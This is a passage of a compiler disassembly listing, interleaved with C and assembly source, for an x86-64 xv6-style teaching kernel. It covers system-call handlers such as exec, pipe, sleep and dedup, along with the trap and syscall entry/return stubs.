ffff80000010944a: ff d2 callq *%rdx
proc->cwd = ip;
ffff80000010944c: 48 c7 c0 f8 ff ff ff mov $0xfffffffffffffff8,%rax
ffff800000109453: 64 48 8b 00 mov %fs:(%rax),%rax
ffff800000109457: 48 8b 55 f8 mov -0x8(%rbp),%rdx
ffff80000010945b: 48 89 90 c8 00 00 00 mov %rdx,0xc8(%rax)
return 0;
ffff800000109462: b8 00 00 00 00 mov $0x0,%eax
}
ffff800000109467: c9 leaveq
ffff800000109468: c3 retq
ffff800000109469 <sys_exec>:
int
sys_exec(void)
{
ffff800000109469: f3 0f 1e fa endbr64
ffff80000010946d: 55 push %rbp
ffff80000010946e: 48 89 e5 mov %rsp,%rbp
ffff800000109471: 48 81 ec 20 01 00 00 sub $0x120,%rsp
char *path, *argv[MAXARG];
int i;
addr_t uargv, uarg;
if(argstr(0, &path) < 0 || argaddr(1, &uargv) < 0){
ffff800000109478: 48 8d 45 f0 lea -0x10(%rbp),%rax
ffff80000010947c: 48 89 c6 mov %rax,%rsi
ffff80000010947f: bf 00 00 00 00 mov $0x0,%edi
ffff800000109484: 48 b8 99 82 10 00 00 movabs $0xffff800000108299,%rax
ffff80000010948b: 80 ff ff
ffff80000010948e: ff d0 callq *%rax
ffff800000109490: 85 c0 test %eax,%eax
ffff800000109492: 78 1f js ffff8000001094b3 <sys_exec+0x4a>
ffff800000109494: 48 8d 85 e8 fe ff ff lea -0x118(%rbp),%rax
ffff80000010949b: 48 89 c6 mov %rax,%rsi
ffff80000010949e: bf 01 00 00 00 mov $0x1,%edi
ffff8000001094a3: 48 b8 d3 81 10 00 00 movabs $0xffff8000001081d3,%rax
ffff8000001094aa: 80 ff ff
ffff8000001094ad: ff d0 callq *%rax
ffff8000001094af: 85 c0 test %eax,%eax
ffff8000001094b1: 79 0a jns ffff8000001094bd <sys_exec+0x54>
return -1;
ffff8000001094b3: b8 ff ff ff ff mov $0xffffffff,%eax
ffff8000001094b8: e9 f2 00 00 00 jmpq ffff8000001095af <sys_exec+0x146>
}
memset(argv, 0, sizeof(argv));
ffff8000001094bd: 48 8d 85 f0 fe ff ff lea -0x110(%rbp),%rax
ffff8000001094c4: ba 00 01 00 00 mov $0x100,%edx
ffff8000001094c9: be 00 00 00 00 mov $0x0,%esi
ffff8000001094ce: 48 89 c7 mov %rax,%rdi
ffff8000001094d1: 48 b8 03 7c 10 00 00 movabs $0xffff800000107c03,%rax
ffff8000001094d8: 80 ff ff
ffff8000001094db: ff d0 callq *%rax
for(i=0;; i++){
ffff8000001094dd: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%rbp)
if(i >= NELEM(argv))
ffff8000001094e4: 8b 45 fc mov -0x4(%rbp),%eax
ffff8000001094e7: 83 f8 1f cmp $0x1f,%eax
ffff8000001094ea: 76 0a jbe ffff8000001094f6 <sys_exec+0x8d>
return -1;
ffff8000001094ec: b8 ff ff ff ff mov $0xffffffff,%eax
ffff8000001094f1: e9 b9 00 00 00 jmpq ffff8000001095af <sys_exec+0x146>
if(fetchaddr(uargv+(sizeof(addr_t))*i, (addr_t*)&uarg) < 0)
ffff8000001094f6: 8b 45 fc mov -0x4(%rbp),%eax
ffff8000001094f9: 48 98 cltq
ffff8000001094fb: 48 8d 14 c5 00 00 00 lea 0x0(,%rax,8),%rdx
ffff800000109502: 00
ffff800000109503: 48 8b 85 e8 fe ff ff mov -0x118(%rbp),%rax
ffff80000010950a: 48 01 c2 add %rax,%rdx
ffff80000010950d: 48 8d 85 e0 fe ff ff lea -0x120(%rbp),%rax
ffff800000109514: 48 89 c6 mov %rax,%rsi
ffff800000109517: 48 89 d7 mov %rdx,%rdi
ffff80000010951a: 48 b8 e7 7f 10 00 00 movabs $0xffff800000107fe7,%rax
ffff800000109521: 80 ff ff
ffff800000109524: ff d0 callq *%rax
ffff800000109526: 85 c0 test %eax,%eax
ffff800000109528: 79 07 jns ffff800000109531 <sys_exec+0xc8>
return -1;
ffff80000010952a: b8 ff ff ff ff mov $0xffffffff,%eax
ffff80000010952f: eb 7e jmp ffff8000001095af <sys_exec+0x146>
if(uarg == 0){
ffff800000109531: 48 8b 85 e0 fe ff ff mov -0x120(%rbp),%rax
ffff800000109538: 48 85 c0 test %rax,%rax
ffff80000010953b: 75 31 jne ffff80000010956e <sys_exec+0x105>
argv[i] = 0;
ffff80000010953d: 8b 45 fc mov -0x4(%rbp),%eax
ffff800000109540: 48 98 cltq
ffff800000109542: 48 c7 84 c5 f0 fe ff movq $0x0,-0x110(%rbp,%rax,8)
ffff800000109549: ff 00 00 00 00
break;
ffff80000010954e: 90 nop
}
if(fetchstr(uarg, &argv[i]) < 0)
return -1;
}
return exec(path, argv);
ffff80000010954f: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff800000109553: 48 8d 95 f0 fe ff ff lea -0x110(%rbp),%rdx
ffff80000010955a: 48 89 d6 mov %rdx,%rsi
ffff80000010955d: 48 89 c7 mov %rax,%rdi
ffff800000109560: 48 b8 3d 15 10 00 00 movabs $0xffff80000010153d,%rax
ffff800000109567: 80 ff ff
ffff80000010956a: ff d0 callq *%rax
ffff80000010956c: eb 41 jmp ffff8000001095af <sys_exec+0x146>
if(fetchstr(uarg, &argv[i]) < 0)
ffff80000010956e: 48 8d 85 f0 fe ff ff lea -0x110(%rbp),%rax
ffff800000109575: 8b 55 fc mov -0x4(%rbp),%edx
ffff800000109578: 48 63 d2 movslq %edx,%rdx
ffff80000010957b: 48 c1 e2 03 shl $0x3,%rdx
ffff80000010957f: 48 01 c2 add %rax,%rdx
ffff800000109582: 48 8b 85 e0 fe ff ff mov -0x120(%rbp),%rax
ffff800000109589: 48 89 d6 mov %rdx,%rsi
ffff80000010958c: 48 89 c7 mov %rax,%rdi
ffff80000010958f: 48 b8 46 80 10 00 00 movabs $0xffff800000108046,%rax
ffff800000109596: 80 ff ff
ffff800000109599: ff d0 callq *%rax
ffff80000010959b: 85 c0 test %eax,%eax
ffff80000010959d: 79 07 jns ffff8000001095a6 <sys_exec+0x13d>
return -1;
ffff80000010959f: b8 ff ff ff ff mov $0xffffffff,%eax
ffff8000001095a4: eb 09 jmp ffff8000001095af <sys_exec+0x146>
for(i=0;; i++){
ffff8000001095a6: 83 45 fc 01 addl $0x1,-0x4(%rbp)
if(i >= NELEM(argv))
ffff8000001095aa: e9 35 ff ff ff jmpq ffff8000001094e4 <sys_exec+0x7b>
}
ffff8000001095af: c9 leaveq
ffff8000001095b0: c3 retq
ffff8000001095b1 <sys_pipe>:
int
sys_pipe(void)
{
ffff8000001095b1: f3 0f 1e fa endbr64
ffff8000001095b5: 55 push %rbp
ffff8000001095b6: 48 89 e5 mov %rsp,%rbp
ffff8000001095b9: 48 83 ec 20 sub $0x20,%rsp
int *fd;
struct file *rf, *wf;
int fd0, fd1;
if(argptr(0, (void*)&fd, 2*sizeof(fd[0])) < 0)
ffff8000001095bd: 48 8d 45 f0 lea -0x10(%rbp),%rax
ffff8000001095c1: ba 08 00 00 00 mov $0x8,%edx
ffff8000001095c6: 48 89 c6 mov %rax,%rsi
ffff8000001095c9: bf 00 00 00 00 mov $0x0,%edi
ffff8000001095ce: 48 b8 05 82 10 00 00 movabs $0xffff800000108205,%rax
ffff8000001095d5: 80 ff ff
ffff8000001095d8: ff d0 callq *%rax
ffff8000001095da: 85 c0 test %eax,%eax
ffff8000001095dc: 79 0a jns ffff8000001095e8 <sys_pipe+0x37>
return -1;
ffff8000001095de: b8 ff ff ff ff mov $0xffffffff,%eax
ffff8000001095e3: e9 d3 00 00 00 jmpq ffff8000001096bb <sys_pipe+0x10a>
if(pipealloc(&rf, &wf) < 0)
ffff8000001095e8: 48 8d 55 e0 lea -0x20(%rbp),%rdx
ffff8000001095ec: 48 8d 45 e8 lea -0x18(%rbp),%rax
ffff8000001095f0: 48 89 d6 mov %rdx,%rsi
ffff8000001095f3: 48 89 c7 mov %rax,%rdi
ffff8000001095f6: 48 b8 f8 5f 10 00 00 movabs $0xffff800000105ff8,%rax
ffff8000001095fd: 80 ff ff
ffff800000109600: ff d0 callq *%rax
ffff800000109602: 85 c0 test %eax,%eax
ffff800000109604: 79 0a jns ffff800000109610 <sys_pipe+0x5f>
return -1;
ffff800000109606: b8 ff ff ff ff mov $0xffffffff,%eax
ffff80000010960b: e9 ab 00 00 00 jmpq ffff8000001096bb <sys_pipe+0x10a>
fd0 = -1;
ffff800000109610: c7 45 fc ff ff ff ff movl $0xffffffff,-0x4(%rbp)
if((fd0 = fdalloc(rf)) < 0 || (fd1 = fdalloc(wf)) < 0){
ffff800000109617: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff80000010961b: 48 89 c7 mov %rax,%rdi
ffff80000010961e: 48 b8 97 84 10 00 00 movabs $0xffff800000108497,%rax
ffff800000109625: 80 ff ff
ffff800000109628: ff d0 callq *%rax
ffff80000010962a: 89 45 fc mov %eax,-0x4(%rbp)
ffff80000010962d: 83 7d fc 00 cmpl $0x0,-0x4(%rbp)
ffff800000109631: 78 1c js ffff80000010964f <sys_pipe+0x9e>
ffff800000109633: 48 8b 45 e0 mov -0x20(%rbp),%rax
ffff800000109637: 48 89 c7 mov %rax,%rdi
ffff80000010963a: 48 b8 97 84 10 00 00 movabs $0xffff800000108497,%rax
ffff800000109641: 80 ff ff
ffff800000109644: ff d0 callq *%rax
ffff800000109646: 89 45 f8 mov %eax,-0x8(%rbp)
ffff800000109649: 83 7d f8 00 cmpl $0x0,-0x8(%rbp)
ffff80000010964d: 79 51 jns ffff8000001096a0 <sys_pipe+0xef>
if(fd0 >= 0)
ffff80000010964f: 83 7d fc 00 cmpl $0x0,-0x4(%rbp)
ffff800000109653: 78 1e js ffff800000109673 <sys_pipe+0xc2>
proc->ofile[fd0] = 0;
ffff800000109655: 48 c7 c0 f8 ff ff ff mov $0xfffffffffffffff8,%rax
ffff80000010965c: 64 48 8b 00 mov %fs:(%rax),%rax
ffff800000109660: 8b 55 fc mov -0x4(%rbp),%edx
ffff800000109663: 48 63 d2 movslq %edx,%rdx
ffff800000109666: 48 83 c2 08 add $0x8,%rdx
ffff80000010966a: 48 c7 44 d0 08 00 00 movq $0x0,0x8(%rax,%rdx,8)
ffff800000109671: 00 00
fileclose(rf);
ffff800000109673: 48 8b 45 e8 mov -0x18(%rbp),%rax
ffff800000109677: 48 89 c7 mov %rax,%rdi
ffff80000010967a: 48 b8 8e 1c 10 00 00 movabs $0xffff800000101c8e,%rax
ffff800000109681: 80 ff ff
ffff800000109684: ff d0 callq *%rax
fileclose(wf);
ffff800000109686: 48 8b 45 e0 mov -0x20(%rbp),%rax
ffff80000010968a: 48 89 c7 mov %rax,%rdi
ffff80000010968d: 48 b8 8e 1c 10 00 00 movabs $0xffff800000101c8e,%rax
ffff800000109694: 80 ff ff
ffff800000109697: ff d0 callq *%rax
return -1;
ffff800000109699: b8 ff ff ff ff mov $0xffffffff,%eax
ffff80000010969e: eb 1b jmp ffff8000001096bb <sys_pipe+0x10a>
}
fd[0] = fd0;
ffff8000001096a0: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff8000001096a4: 8b 55 fc mov -0x4(%rbp),%edx
ffff8000001096a7: 89 10 mov %edx,(%rax)
fd[1] = fd1;
ffff8000001096a9: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff8000001096ad: 48 8d 50 04 lea 0x4(%rax),%rdx
ffff8000001096b1: 8b 45 f8 mov -0x8(%rbp),%eax
ffff8000001096b4: 89 02 mov %eax,(%rdx)
return 0;
ffff8000001096b6: b8 00 00 00 00 mov $0x0,%eax
}
ffff8000001096bb: c9 leaveq
ffff8000001096bc: c3 retq
ffff8000001096bd <sys_fork>:
#include "mmu.h"
#include "proc.h"
int
sys_fork(void)
{
ffff8000001096bd: f3 0f 1e fa endbr64
ffff8000001096c1: 55 push %rbp
ffff8000001096c2: 48 89 e5 mov %rsp,%rbp
return fork();
ffff8000001096c5: 48 b8 19 69 10 00 00 movabs $0xffff800000106919,%rax
ffff8000001096cc: 80 ff ff
ffff8000001096cf: ff d0 callq *%rax
}
ffff8000001096d1: 5d pop %rbp
ffff8000001096d2: c3 retq
ffff8000001096d3 <sys_exit>:
int
sys_exit(void)
{
ffff8000001096d3: f3 0f 1e fa endbr64
ffff8000001096d7: 55 push %rbp
ffff8000001096d8: 48 89 e5 mov %rsp,%rbp
exit();
ffff8000001096db: 48 b8 d3 6b 10 00 00 movabs $0xffff800000106bd3,%rax
ffff8000001096e2: 80 ff ff
ffff8000001096e5: ff d0 callq *%rax
return 0; // not reached
ffff8000001096e7: b8 00 00 00 00 mov $0x0,%eax
}
ffff8000001096ec: 5d pop %rbp
ffff8000001096ed: c3 retq
ffff8000001096ee <sys_wait>:
int
sys_wait(void)
{
ffff8000001096ee: f3 0f 1e fa endbr64
ffff8000001096f2: 55 push %rbp
ffff8000001096f3: 48 89 e5 mov %rsp,%rbp
return wait();
ffff8000001096f6: 48 b8 c9 6d 10 00 00 movabs $0xffff800000106dc9,%rax
ffff8000001096fd: 80 ff ff
ffff800000109700: ff d0 callq *%rax
}
ffff800000109702: 5d pop %rbp
ffff800000109703: c3 retq
ffff800000109704 <sys_kill>:
int
sys_kill(void)
{
ffff800000109704: f3 0f 1e fa endbr64
ffff800000109708: 55 push %rbp
ffff800000109709: 48 89 e5 mov %rsp,%rbp
ffff80000010970c: 48 83 ec 10 sub $0x10,%rsp
int pid;
if(argint(0, &pid) < 0)
ffff800000109710: 48 8d 45 fc lea -0x4(%rbp),%rax
ffff800000109714: 48 89 c6 mov %rax,%rsi
ffff800000109717: bf 00 00 00 00 mov $0x0,%edi
ffff80000010971c: 48 b8 a0 81 10 00 00 movabs $0xffff8000001081a0,%rax
ffff800000109723: 80 ff ff
ffff800000109726: ff d0 callq *%rax
ffff800000109728: 85 c0 test %eax,%eax
ffff80000010972a: 79 07 jns ffff800000109733 <sys_kill+0x2f>
return -1;
ffff80000010972c: b8 ff ff ff ff mov $0xffffffff,%eax
ffff800000109731: eb 11 jmp ffff800000109744 <sys_kill+0x40>
return kill(pid);
ffff800000109733: 8b 45 fc mov -0x4(%rbp),%eax
ffff800000109736: 89 c7 mov %eax,%edi
ffff800000109738: 48 b8 0a 74 10 00 00 movabs $0xffff80000010740a,%rax
ffff80000010973f: 80 ff ff
ffff800000109742: ff d0 callq *%rax
}
ffff800000109744: c9 leaveq
ffff800000109745: c3 retq
ffff800000109746 <sys_getpid>:
int
sys_getpid(void)
{
ffff800000109746: f3 0f 1e fa endbr64
ffff80000010974a: 55 push %rbp
ffff80000010974b: 48 89 e5 mov %rsp,%rbp
return proc->pid;
ffff80000010974e: 48 c7 c0 f8 ff ff ff mov $0xfffffffffffffff8,%rax
ffff800000109755: 64 48 8b 00 mov %fs:(%rax),%rax
ffff800000109759: 8b 40 1c mov 0x1c(%rax),%eax
}
ffff80000010975c: 5d pop %rbp
ffff80000010975d: c3 retq
ffff80000010975e <sys_sbrk>:
addr_t
sys_sbrk(void)
{
ffff80000010975e: f3 0f 1e fa endbr64
ffff800000109762: 55 push %rbp
ffff800000109763: 48 89 e5 mov %rsp,%rbp
ffff800000109766: 48 83 ec 10 sub $0x10,%rsp
addr_t addr;
addr_t n;
argaddr(0, &n);
ffff80000010976a: 48 8d 45 f0 lea -0x10(%rbp),%rax
ffff80000010976e: 48 89 c6 mov %rax,%rsi
ffff800000109771: bf 00 00 00 00 mov $0x0,%edi
ffff800000109776: 48 b8 d3 81 10 00 00 movabs $0xffff8000001081d3,%rax
ffff80000010977d: 80 ff ff
ffff800000109780: ff d0 callq *%rax
addr = proc->sz;
ffff800000109782: 48 c7 c0 f8 ff ff ff mov $0xfffffffffffffff8,%rax
ffff800000109789: 64 48 8b 00 mov %fs:(%rax),%rax
ffff80000010978d: 48 8b 00 mov (%rax),%rax
ffff800000109790: 48 89 45 f8 mov %rax,-0x8(%rbp)
if(growproc(n) < 0)
ffff800000109794: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff800000109798: 48 89 c7 mov %rax,%rdi
ffff80000010979b: 48 b8 32 68 10 00 00 movabs $0xffff800000106832,%rax
ffff8000001097a2: 80 ff ff
ffff8000001097a5: ff d0 callq *%rax
ffff8000001097a7: 85 c0 test %eax,%eax
ffff8000001097a9: 79 09 jns ffff8000001097b4 <sys_sbrk+0x56>
return -1;
ffff8000001097ab: 48 c7 c0 ff ff ff ff mov $0xffffffffffffffff,%rax
ffff8000001097b2: eb 04 jmp ffff8000001097b8 <sys_sbrk+0x5a>
return addr;
ffff8000001097b4: 48 8b 45 f8 mov -0x8(%rbp),%rax
}
ffff8000001097b8: c9 leaveq
ffff8000001097b9: c3 retq
ffff8000001097ba <sys_sleep>:
int
sys_sleep(void)
{
ffff8000001097ba: f3 0f 1e fa endbr64
ffff8000001097be: 55 push %rbp
ffff8000001097bf: 48 89 e5 mov %rsp,%rbp
ffff8000001097c2: 48 83 ec 10 sub $0x10,%rsp
int n;
uint ticks0;
if(argint(0, &n) < 0)
ffff8000001097c6: 48 8d 45 f8 lea -0x8(%rbp),%rax
ffff8000001097ca: 48 89 c6 mov %rax,%rsi
ffff8000001097cd: bf 00 00 00 00 mov $0x0,%edi
ffff8000001097d2: 48 b8 a0 81 10 00 00 movabs $0xffff8000001081a0,%rax
ffff8000001097d9: 80 ff ff
ffff8000001097dc: ff d0 callq *%rax
ffff8000001097de: 85 c0 test %eax,%eax
ffff8000001097e0: 79 0a jns ffff8000001097ec <sys_sleep+0x32>
return -1;
ffff8000001097e2: b8 ff ff ff ff mov $0xffffffff,%eax
ffff8000001097e7: e9 a7 00 00 00 jmpq ffff800000109893 <sys_sleep+0xd9>
acquire(&tickslock);
ffff8000001097ec: 48 bf e0 ac 1f 00 00 movabs $0xffff8000001face0,%rdi
ffff8000001097f3: 80 ff ff
ffff8000001097f6: 48 b8 5d 78 10 00 00 movabs $0xffff80000010785d,%rax
ffff8000001097fd: 80 ff ff
ffff800000109800: ff d0 callq *%rax
ticks0 = ticks;
ffff800000109802: 48 b8 48 ad 1f 00 00 movabs $0xffff8000001fad48,%rax
ffff800000109809: 80 ff ff
ffff80000010980c: 8b 00 mov (%rax),%eax
ffff80000010980e: 89 45 fc mov %eax,-0x4(%rbp)
while(ticks - ticks0 < n){
ffff800000109811: eb 4f jmp ffff800000109862 <sys_sleep+0xa8>
if(proc->killed){
ffff800000109813: 48 c7 c0 f8 ff ff ff mov $0xfffffffffffffff8,%rax
ffff80000010981a: 64 48 8b 00 mov %fs:(%rax),%rax
ffff80000010981e: 8b 40 40 mov 0x40(%rax),%eax
ffff800000109821: 85 c0 test %eax,%eax
ffff800000109823: 74 1d je ffff800000109842 <sys_sleep+0x88>
release(&tickslock);
ffff800000109825: 48 bf e0 ac 1f 00 00 movabs $0xffff8000001face0,%rdi
ffff80000010982c: 80 ff ff
ffff80000010982f: 48 b8 fa 78 10 00 00 movabs $0xffff8000001078fa,%rax
ffff800000109836: 80 ff ff
ffff800000109839: ff d0 callq *%rax
return -1;
ffff80000010983b: b8 ff ff ff ff mov $0xffffffff,%eax
ffff800000109840: eb 51 jmp ffff800000109893 <sys_sleep+0xd9>
}
sleep(&ticks, &tickslock);
ffff800000109842: 48 be e0 ac 1f 00 00 movabs $0xffff8000001face0,%rsi
ffff800000109849: 80 ff ff
ffff80000010984c: 48 bf 48 ad 1f 00 00 movabs $0xffff8000001fad48,%rdi
ffff800000109853: 80 ff ff
ffff800000109856: 48 b8 47 72 10 00 00 movabs $0xffff800000107247,%rax
ffff80000010985d: 80 ff ff
ffff800000109860: ff d0 callq *%rax
while(ticks - ticks0 < n){
ffff800000109862: 48 b8 48 ad 1f 00 00 movabs $0xffff8000001fad48,%rax
ffff800000109869: 80 ff ff
ffff80000010986c: 8b 00 mov (%rax),%eax
ffff80000010986e: 2b 45 fc sub -0x4(%rbp),%eax
ffff800000109871: 8b 55 f8 mov -0x8(%rbp),%edx
ffff800000109874: 39 d0 cmp %edx,%eax
ffff800000109876: 72 9b jb ffff800000109813 <sys_sleep+0x59>
}
release(&tickslock);
ffff800000109878: 48 bf e0 ac 1f 00 00 movabs $0xffff8000001face0,%rdi
ffff80000010987f: 80 ff ff
ffff800000109882: 48 b8 fa 78 10 00 00 movabs $0xffff8000001078fa,%rax
ffff800000109889: 80 ff ff
ffff80000010988c: ff d0 callq *%rax
return 0;
ffff80000010988e: b8 00 00 00 00 mov $0x0,%eax
}
ffff800000109893: c9 leaveq
ffff800000109894: c3 retq
ffff800000109895 <sys_uptime>:
// return how many clock tick interrupts have occurred
// since start.
int
sys_uptime(void)
{
ffff800000109895: f3 0f 1e fa endbr64
ffff800000109899: 55 push %rbp
ffff80000010989a: 48 89 e5 mov %rsp,%rbp
ffff80000010989d: 48 83 ec 10 sub $0x10,%rsp
uint xticks;
acquire(&tickslock);
ffff8000001098a1: 48 bf e0 ac 1f 00 00 movabs $0xffff8000001face0,%rdi
ffff8000001098a8: 80 ff ff
ffff8000001098ab: 48 b8 5d 78 10 00 00 movabs $0xffff80000010785d,%rax
ffff8000001098b2: 80 ff ff
ffff8000001098b5: ff d0 callq *%rax
xticks = ticks;
ffff8000001098b7: 48 b8 48 ad 1f 00 00 movabs $0xffff8000001fad48,%rax
ffff8000001098be: 80 ff ff
ffff8000001098c1: 8b 00 mov (%rax),%eax
ffff8000001098c3: 89 45 fc mov %eax,-0x4(%rbp)
release(&tickslock);
ffff8000001098c6: 48 bf e0 ac 1f 00 00 movabs $0xffff8000001face0,%rdi
ffff8000001098cd: 80 ff ff
ffff8000001098d0: 48 b8 fa 78 10 00 00 movabs $0xffff8000001078fa,%rax
ffff8000001098d7: 80 ff ff
ffff8000001098da: ff d0 callq *%rax
return xticks;
ffff8000001098dc: 8b 45 fc mov -0x4(%rbp),%eax
}
ffff8000001098df: c9 leaveq
ffff8000001098e0: c3 retq
ffff8000001098e1 <sys_dedup>:
int
sys_dedup(void)
{
ffff8000001098e1: f3 0f 1e fa endbr64
ffff8000001098e5: 55 push %rbp
ffff8000001098e6: 48 89 e5 mov %rsp,%rbp
dedup(0, (void*)proc->sz);
ffff8000001098e9: 48 c7 c0 f8 ff ff ff mov $0xfffffffffffffff8,%rax
ffff8000001098f0: 64 48 8b 00 mov %fs:(%rax),%rax
ffff8000001098f4: 48 8b 00 mov (%rax),%rax
ffff8000001098f7: 48 89 c6 mov %rax,%rsi
ffff8000001098fa: bf 00 00 00 00 mov $0x0,%edi
ffff8000001098ff: 48 b8 84 c1 10 00 00 movabs $0xffff80000010c184,%rax
ffff800000109906: 80 ff ff
ffff800000109909: ff d0 callq *%rax
return 0;
ffff80000010990b: b8 00 00 00 00 mov $0x0,%eax
}
ffff800000109910: 5d pop %rbp
ffff800000109911: c3 retq
ffff800000109912 <sys_freepages>:
int
sys_freepages(void)
{
ffff800000109912: f3 0f 1e fa endbr64
ffff800000109916: 55 push %rbp
ffff800000109917: 48 89 e5 mov %rsp,%rbp
return kfreepagecount();
ffff80000010991a: 48 b8 86 45 10 00 00 movabs $0xffff800000104586,%rax
ffff800000109921: 80 ff ff
ffff800000109924: ff d0 callq *%rax
}
ffff800000109926: 5d pop %rbp
ffff800000109927: c3 retq
ffff800000109928 <alltraps>:
# vectors.S sends all traps here.
.global alltraps
alltraps:
# Build trap frame.
pushq %r15
ffff800000109928: 41 57 push %r15
pushq %r14
ffff80000010992a: 41 56 push %r14
pushq %r13
ffff80000010992c: 41 55 push %r13
pushq %r12
ffff80000010992e: 41 54 push %r12
pushq %r11
ffff800000109930: 41 53 push %r11
pushq %r10
ffff800000109932: 41 52 push %r10
pushq %r9
ffff800000109934: 41 51 push %r9
pushq %r8
ffff800000109936: 41 50 push %r8
pushq %rdi
ffff800000109938: 57 push %rdi
pushq %rsi
ffff800000109939: 56 push %rsi
pushq %rbp
ffff80000010993a: 55 push %rbp
pushq %rdx
ffff80000010993b: 52 push %rdx
pushq %rcx
ffff80000010993c: 51 push %rcx
pushq %rbx
ffff80000010993d: 53 push %rbx
pushq %rax
ffff80000010993e: 50 push %rax
movq %rsp, %rdi # frame in arg1
ffff80000010993f: 48 89 e7 mov %rsp,%rdi
callq trap
ffff800000109942: e8 8d 02 00 00 callq ffff800000109bd4 <trap>
ffff800000109947 <trapret>:
# Return falls through to trapret...
.global trapret
trapret:
popq %rax
ffff800000109947: 58 pop %rax
popq %rbx
ffff800000109948: 5b pop %rbx
popq %rcx
ffff800000109949: 59 pop %rcx
popq %rdx
ffff80000010994a: 5a pop %rdx
popq %rbp
ffff80000010994b: 5d pop %rbp
popq %rsi
ffff80000010994c: 5e pop %rsi
popq %rdi
ffff80000010994d: 5f pop %rdi
popq %r8
ffff80000010994e: 41 58 pop %r8
popq %r9
ffff800000109950: 41 59 pop %r9
popq %r10
ffff800000109952: 41 5a pop %r10
popq %r11
ffff800000109954: 41 5b pop %r11
popq %r12
ffff800000109956: 41 5c pop %r12
popq %r13
ffff800000109958: 41 5d pop %r13
popq %r14
ffff80000010995a: 41 5e pop %r14
popq %r15
ffff80000010995c: 41 5f pop %r15
addq $16, %rsp # discard trapnum and errorcode
ffff80000010995e: 48 83 c4 10 add $0x10,%rsp
iretq
ffff800000109962: 48 cf iretq
ffff800000109964 <syscall_entry>:
.global syscall_entry
syscall_entry:
# switch to kernel stack. With the syscall instruction,
# this is a kernel resposibility
# store %rsp on the top of proc->kstack,
movq %rax, %fs:(0) # save %rax above __thread vars
ffff800000109964: 64 48 89 04 25 00 00 mov %rax,%fs:0x0
ffff80000010996b: 00 00
movq %fs:(-8), %rax # %fs:(-8) is proc (the last __thread)
ffff80000010996d: 64 48 8b 04 25 f8 ff mov %fs:0xfffffffffffffff8,%rax
ffff800000109974: ff ff
movq 0x10(%rax), %rax # get proc->kstack (see struct proc)
ffff800000109976: 48 8b 40 10 mov 0x10(%rax),%rax
addq $(4096-16), %rax # %rax points to tf->rsp
ffff80000010997a: 48 05 f0 0f 00 00 add $0xff0,%rax
movq %rsp, (%rax) # save user rsp to tf->rsp
ffff800000109980: 48 89 20 mov %rsp,(%rax)
movq %rax, %rsp # switch to the kstack
ffff800000109983: 48 89 c4 mov %rax,%rsp
movq %fs:(0), %rax # restore %rax
ffff800000109986: 64 48 8b 04 25 00 00 mov %fs:0x0,%rax
ffff80000010998d: 00 00
pushq %r11 # rflags
ffff80000010998f: 41 53 push %r11
pushq $0 # cs is ignored
ffff800000109991: 6a 00 pushq $0x0
pushq %rcx # rip (next user insn)
ffff800000109993: 51 push %rcx
pushq $0 # err
ffff800000109994: 6a 00 pushq $0x0
pushq $0 # trapno ignored
ffff800000109996: 6a 00 pushq $0x0
pushq %r15
ffff800000109998: 41 57 push %r15
pushq %r14
ffff80000010999a: 41 56 push %r14
pushq %r13
ffff80000010999c: 41 55 push %r13
pushq %r12
ffff80000010999e: 41 54 push %r12
pushq %r11
ffff8000001099a0: 41 53 push %r11
pushq %r10
ffff8000001099a2: 41 52 push %r10
pushq %r9
ffff8000001099a4: 41 51 push %r9
pushq %r8
ffff8000001099a6: 41 50 push %r8
pushq %rdi
ffff8000001099a8: 57 push %rdi
pushq %rsi
ffff8000001099a9: 56 push %rsi
pushq %rbp
ffff8000001099aa: 55 push %rbp
pushq %rdx
ffff8000001099ab: 52 push %rdx
pushq %rcx
ffff8000001099ac: 51 push %rcx
pushq %rbx
ffff8000001099ad: 53 push %rbx
pushq %rax
ffff8000001099ae: 50 push %rax
movq %rsp, %rdi # frame in arg1
ffff8000001099af: 48 89 e7 mov %rsp,%rdi
callq syscall
ffff8000001099b2: e8 35 e9 ff ff callq ffff8000001082ec <syscall>
ffff8000001099b7 <syscall_trapret>:
# Return falls through to syscall_trapret...
#PAGEBREAK!
.global syscall_trapret
syscall_trapret:
popq %rax
ffff8000001099b7: 58 pop %rax
popq %rbx
ffff8000001099b8: 5b pop %rbx
popq %rcx
ffff8000001099b9: 59 pop %rcx
popq %rdx
ffff8000001099ba: 5a pop %rdx
popq %rbp
ffff8000001099bb: 5d pop %rbp
popq %rsi
ffff8000001099bc: 5e pop %rsi
popq %rdi
ffff8000001099bd: 5f pop %rdi
popq %r8
ffff8000001099be: 41 58 pop %r8
popq %r9
ffff8000001099c0: 41 59 pop %r9
popq %r10
ffff8000001099c2: 41 5a pop %r10
popq %r11
ffff8000001099c4: 41 5b pop %r11
popq %r12
ffff8000001099c6: 41 5c pop %r12
popq %r13
ffff8000001099c8: 41 5d pop %r13
popq %r14
ffff8000001099ca: 41 5e pop %r14
popq %r15
ffff8000001099cc: 41 5f pop %r15
addq $40, %rsp # discard trapnum, errorcode, rip, cs and rflags
ffff8000001099ce: 48 83 c4 28 add $0x28,%rsp
# to make sure we don't get any interrupts on the user stack while in
# supervisor mode. this is actually slightly unsafe still,
# since some interrupts are nonmaskable.
# See https://www.felixcloutier.com/x86/sysret
cli
ffff8000001099d2: fa cli
movq (%rsp), %rsp # restore the user stack
ffff8000001099d3: 48 8b 24 24 mov (%rsp),%rsp
sysretq
ffff8000001099d7: 48 0f 07 sysretq
ffff8000001099da <lidt>:
{
ffff8000001099da: f3 0f 1e fa endbr64
ffff8000001099de: 55 push %rbp
ffff8000001099df: 48 89 e5 mov %rsp,%rbp
ffff8000001099e2: 48 83 ec 30 sub $0x30,%rsp
ffff8000001099e6: 48 89 7d d8 mov %rdi,-0x28(%rbp)
ffff8000001099ea: 89 75 d4 mov %esi,-0x2c(%rbp)
addr_t addr = (addr_t)p;
ffff8000001099ed: 48 8b 45 d8 mov -0x28(%rbp),%rax
ffff8000001099f1: 48 89 45 f8 mov %rax,-0x8(%rbp)
pd[0] = size-1;
ffff8000001099f5: 8b 45 d4 mov -0x2c(%rbp),%eax
ffff8000001099f8: 83 e8 01 sub $0x1,%eax
ffff8000001099fb: 66 89 45 ee mov %ax,-0x12(%rbp)
